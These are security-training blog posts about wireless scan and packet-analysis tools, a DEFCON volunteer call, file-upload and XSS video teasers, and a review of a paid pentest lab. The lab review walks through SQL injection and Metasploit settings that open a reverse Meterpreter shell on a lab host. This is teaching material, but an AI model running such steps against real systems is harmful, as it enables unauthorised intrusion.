Saturday, 28 March 2015

Airodump-NG Scan Visualizer ver 1.0





We all love Airodump-NG! I am personally a fan of the entire Aircrack-NG tool suite and the fantastic work done by Mister_X over the years. As most of you know Airodump-NG can export the scan data as a CSV or a Kismet compatible Netxml file. The Airodump-NG Scan Visualizer takes this CSV file and allows you to filter and play around with this scan data in interesting ways.


Getting Started with the Airodump-NG Scan Visualizer

1) Start an Airodump-NG Scan with the "-w" option to write to file



2) Allow the Scan to run till you have enough data






3) Locate the XXX-YY.CSV file in the current directory






4) Upload the CSV file






5) Click on Analyze! 






Features:

1. Segregation of Access Points + Connected Clients  and Roaming Clients: 


2. Advanced String Filtering on ESSID, BSSID, Channel, Privacy, Cipher and Authentication:

Each of the above Filters has either of the 3 options:

"Starts with"




"Contains"


"Is"


We know a lot of times you will need to monitor multiple ESSIDs at the same time, hence we've allowed you to apply multiple filters per column which will be logically OR




There is no limit to the number of concurrent filters which you can apply to any column :)

3. Range Filters for Packets, Signal and Clients:

You can mention a Minimum and/or a Maximum range for each of them as shown below:


4. Filter Query shown live! 

As you apply filters to every column, see the filter expression change above the table so you can easily track what you have applied




5. Screenshots of both the Data Table and the Application screen

We know Pentesters need screenshots for writing reports so we made taking screenshots just a click away!


6. Search Roaming Clients by the ESSID they are probing for



7. Annotations:

Mark rows, columns, filters etc. on the screen with Annotations before taking screenshots to convey more information:



8. Graphs and Charts:






9. LIVE Mode - visualize data live from Airodump-NG! 

 

and many other cool features!  


Watch the Demos and Download Airodump-NG Scan Visualizer ver 1.0 





Monday, 16 March 2015

Pcap2XML/Sqlite - Convert 802.11 Packets to XML and SQLITE




This tool converts 802.11 packet traces (PCAP format) into an XML and SQLITE equivalent so you can now run XPATH/XQUERY/SQL queries on the packets.

Why do we need this?


Wireshark is great when it comes to capturing and filtering packet traces. However, it has no facility for macro level tasks. Here are some answers which Wireshark cannot give you out of the box:


  • Give me all device MAC addresses in the PCAP
  • Give me a unique list of all Access Point/Ad-Hoc networks in the PCAP
  • ... 
Of course, this is by design. Wireshark is a packet capture tool and not a data analysis platform. 


This is where Pcap2XMl/Sqlite comes in! We map every header field in an 802.11 packet to an XML and SQLITE Equivalent. Once we convert every packet into these formats, it is extremely easy to run analysis tools on them as you shall see in latter part of this post.

Where can this tool be used?

This tool can be used anywhere there is a need to analyze individual packets. However, we had the following purposes in mind:


  • Teaching Wi-Fi security using Packet Analysis
  • Deriving Macro-Stats on a PCAP file as discussed in the previous section
  • Writing a simple Wi-Fi IDS :) 
  • ...


How does the tool work?

Below is an example of the tool running on a 50MB 802.11 packet trace and creating an XML and SQLITE file:


Examples of Analysis

As you can see in the previous section, the tool has created sample.db and sample.xml.

Let us look at sample.db using Sqlite Browser:

Table containing all the packets:



Simple filter for Beacon Frames:



Macro Stats - Get All Distinct Device MAC Addresses in the PCAP




Macro Stats - Select All Distinct MACs sending Beacon Frames



Macro Stats - Select All Distinct MACs receiving Data Frames


Macro Stats - Get the Average Frame Length



Macro Stats - Get the inter-packet time delta! 





... there are tons of such examples possible as you can see. 


Can you outline some of the other interesting features?


  • Ability to select only a packet range or selected packets
  • Ability to monitor a PCAP file live for new packets
  • Automatic update checker for newer versions
  • ...
We highly recommend you check out the video tutorials we are making on this tool. 


How are the 802.11 headers mapped to XML and SQLITE?


In version 1.0, we are only mapping the 802.11 MAC Header for all frames (Management, Data and Control).

Here is the XML Schema:


Here is the SQLITE DB Schema:



Future versions will have all frames mapped apart from the Data frame payloads.

I need an output in other formats e.g. CSV, JSON, MySQL etc.

 

We chose XML and SQLITE because one could easily write simple tools in Python or other languages to convert this to other formats. At this time, we have no plans to support any other format.

What is the feature roadmap?


  • Parse and map all Management Packets (April 2015)
  • Parse and map all Control Packets (May 2015)
  • Parse and map some fields from Data Packet (May 2015)
  • Integrate with Graphs and Charting tools (June 2015)
  • Allow reverse conversion from XML, SQLITE to PCAP (July 2015) 
  • Integrate and test with PCAP to Air tools for Packet replay  (July 2015) 
  • ...


Is the tool open source? 


The tool will always be free to use but currently the source code is not public. We might change this later once we feel the tool is stable enough for collaborating. The tool is digitally signed with our certificate for authenticity.

Where can I Download this? are there any Tutorials/Documentation?





Thursday, 24 July 2014

Call for Volunteers - SecurityTube DEFCON 22 Booth




We have some really exciting news to share! We will be putting up a booth in the DEFCON 22 Vendor Area next month. We plan to give out some free stuff and hope to meet SecurityTube Users and our Students.

With close to 13,000+ hackers expected at DEFCON 22, we know we need help in managing our booth and I thought its best to ask help from the community. So this is our official Call for Volunteers!


The Vendor Booth area will be running between 10AM-7PM on Friday, Saturday and Sunday (8th-10th Aug) and we are looking for volunteers to help us for 5 hour slots. You are allowed to select multiple slots.

What do Volunteers get?


To show our appreciation, for every 5 hour slot that you volunteer, you get the following:

  • $250 worth of courseware which you can select from SecurityTube Training
  • $177 worth of Pentester Academy subscription (3 months) 
  • $125 worth of goodies - $100 exam voucher + ALFA Wireless Card 
  • SecurityTube Official T-Shirt 
  • Lunch or Dinner is on us!  (depending on your slot)
We'd probably estimate a total of $600+ in giveaways for 5 hours of volunteering. Not bad :)

Please note that you will have to manage your own travel, accommodation and entry into DEFCON.

What work can you expect?

  • Giving out a ton of FREE stuff to conference attendees coming to our booth
  • Giving out our Flyers
  • We would expect you to wear the SecurityTube T-Shirt while at the booth 

Who is Volunteer #1? 

Vivek Ramachandran, chief trainer at SecurityTube Training and Pentester Academy will be at the booth most of the time (if not all the time).

How do you apply?

Please fill this form and we will be in touch. We understand that most of us prefer to be anonymous online but you'll have to trust us with some information about yourself, if you want us to trust you with our booth :) 













Tuesday, 22 July 2014

File Upload Vulnerability







File Upload Vulnerability is an extremely interesting topic with various twists and turns such as - Content-Type Checks, Bypassing Blacklists, Double Extensions, Defeating Getimagesize() checks, Null byte injection, getting a Meterpreter on the box via File Uploads etc.


We just wanted to share one of the interesting videos on this topic - "Defeating Getimagesize() Checks in File Uploads


Defeating Getimagesize() Checks in File Uploads

In the above video, we go step by step and uncover how we can embed a webshell into an image and have it executed by the remote server, even if it uses APIs like Getimagesize() to verify the presence of an image.

Here are other videos in the series, available only to Pentester Academy subscribers:


File Upload Vulnerability Basics


 








Happy Uploading!






Tuesday, 8 July 2014

Google XSS Game: Challenge Accepted!






Google put out an XSS Game not so long ago and we decided to take a shot at it. We've created our own XSS lab for Pentester Academy and it was really fun to see that these challenges were way easier to solve than those in our lab! 

So, take a shot at the Google XSS Game - Links to the individual challenge solutions are provided below to help you get started. 




Google XSS Challenge 1 Free


 






These videos are a part of Web Application Security Course at Pentester Academy. We are hosting interesting Web Application Security Challenges in this section for our students to try out. 

We also have many more interesting courses related to various other topics in the InfoSec domain. To know more, please visit: http://PentesterAcademy.com/topics





Monday, 16 September 2013

Joe's Pentester Lab




Hello All, today I’m really excited to tell you about something new and very interesting. My good friend  Joe McCray  has just built and launched his Pentester Lab Network. I met Joe for the first time at Hacktivity 2011 and since then we've been really great friends. Being the curious type I decided to take a look for myself. I sent an email to Joe and requested if I could have access and check it out myself. After I signed up I spoke to Joe about how it all worked and he even gave me some access to the management side of the infrastructure as well.
If you don't have too much time to read this in detail, scroll down to the end of this post! The rest of the post is a quick walk through of what I saw and how much it impressed me!

How You Connect To The Lab
The lab network must be accessed via an OpenVPN client. So you can use any host such as BackTrack/Kali Linux, your Mac, your Windows machine, even a tablet, or smartphone. Joe provides you with an Ubuntu virtual machine that is pre-configured to connect to the lab network VPN. Both the username and password for this virtual machine is ‘strategicsec’




 

You’ll be presented with an empty desktop.  Open a Terminal window by holding down [Ctrl+Alt] and then pressing T.  Or find it through the left sidebar by clicking on Dash home


then typing “terminal” in the search bar

and selecting “Terminal”. 

At the newly open Terminal window, type the command: vpn


The VPN service will start and will ask you for your username, then your password.  This is the Username and Password that has been provided to you by Joe McCray.


When this completes, you can open another Terminal window or tab and type the command: ifconfig

This will show you all of your network interfaces and you can verify that a tap0 interface has been created and you have been assigned an IP address in the lab.



Congratulations you are ready to begin working in the Strategic Security Lab!


What is a Pathway?
Joe provides what he calls ‘Pathways’ which basically step-by-step walk-throughs of attack sequences in the network. These pathways are designed to take the student through learning a myriad of pentesting skills by performing the steps in each respective pathway. Students are strongly encouraged to submit pathways as well. I decided to try a pathway and see what it was like. Here is one that walks a user through a web application attack that transitions to a host-based attack.






In the search field I checked for the first step of sql injection a nice single quote in the search bar


Well that’s a nice error message
After playing around with site a bit and some google searches I tried to execute operations in the URL bar.


This shows me that there is SQL injection and I can execute operations. To try and get a shell ill use metasploit and a sql injection exploit (ideas for this also came from the pathway pdf)
Lets check it with metasploit

Setg LHOST 10.10.5.128
Set RHOST 10.10.10.105
Set GET_PATH  /bookdetail.aspx?id=2;[SQLi]
Using the reverse tcp meterpreter payload



 
This is not the complete pathway of course. Each pathway that I looked at was well over 50 pages. The pathway goes on to cover post-exploitation steps such as hashdumping and pivoting. I must say that I was very impressed.

How big is this infrastructure?
Joe gave me a great deal of access to the infrastructure so I could understand how all of it worked. Brace yourself ladies and gentlemen – this network is HUGE.




 

Joe uses a VMWare ESX infrastructure with several ESX servers managed by VMWare VCenter.



 
When this screenshot was taken there were only 9 ESX servers, but Joe has told me that he now how has nearly 50 ESX servers and is deploying a few each month. Each ESX server can comfortably run dozens of virtual machines.


 
What kind of support do you get?
Joe told me that he built a trouble ticket system so partipants can submit trouble tickets when a target host is no longer exploitable or has become unresponsive. He built an IRC server and Wiki for the lab network participants to communicate with each other and get help as well.

Joe is going to give you a one-time price of $300 for 6 months of access starting on 1 October. Go ahead and jump on this because it is only going to make this offer to the first 50 people that sign up.

Don’t wait – sign up now!

Here is the payment link for this offer:
Sign Up with Paypal!!!

Main Lab Page:

Lab Network Datasheet:
http://strategicsec.com/What-Is-The-Pentester-Lab-Network.pdf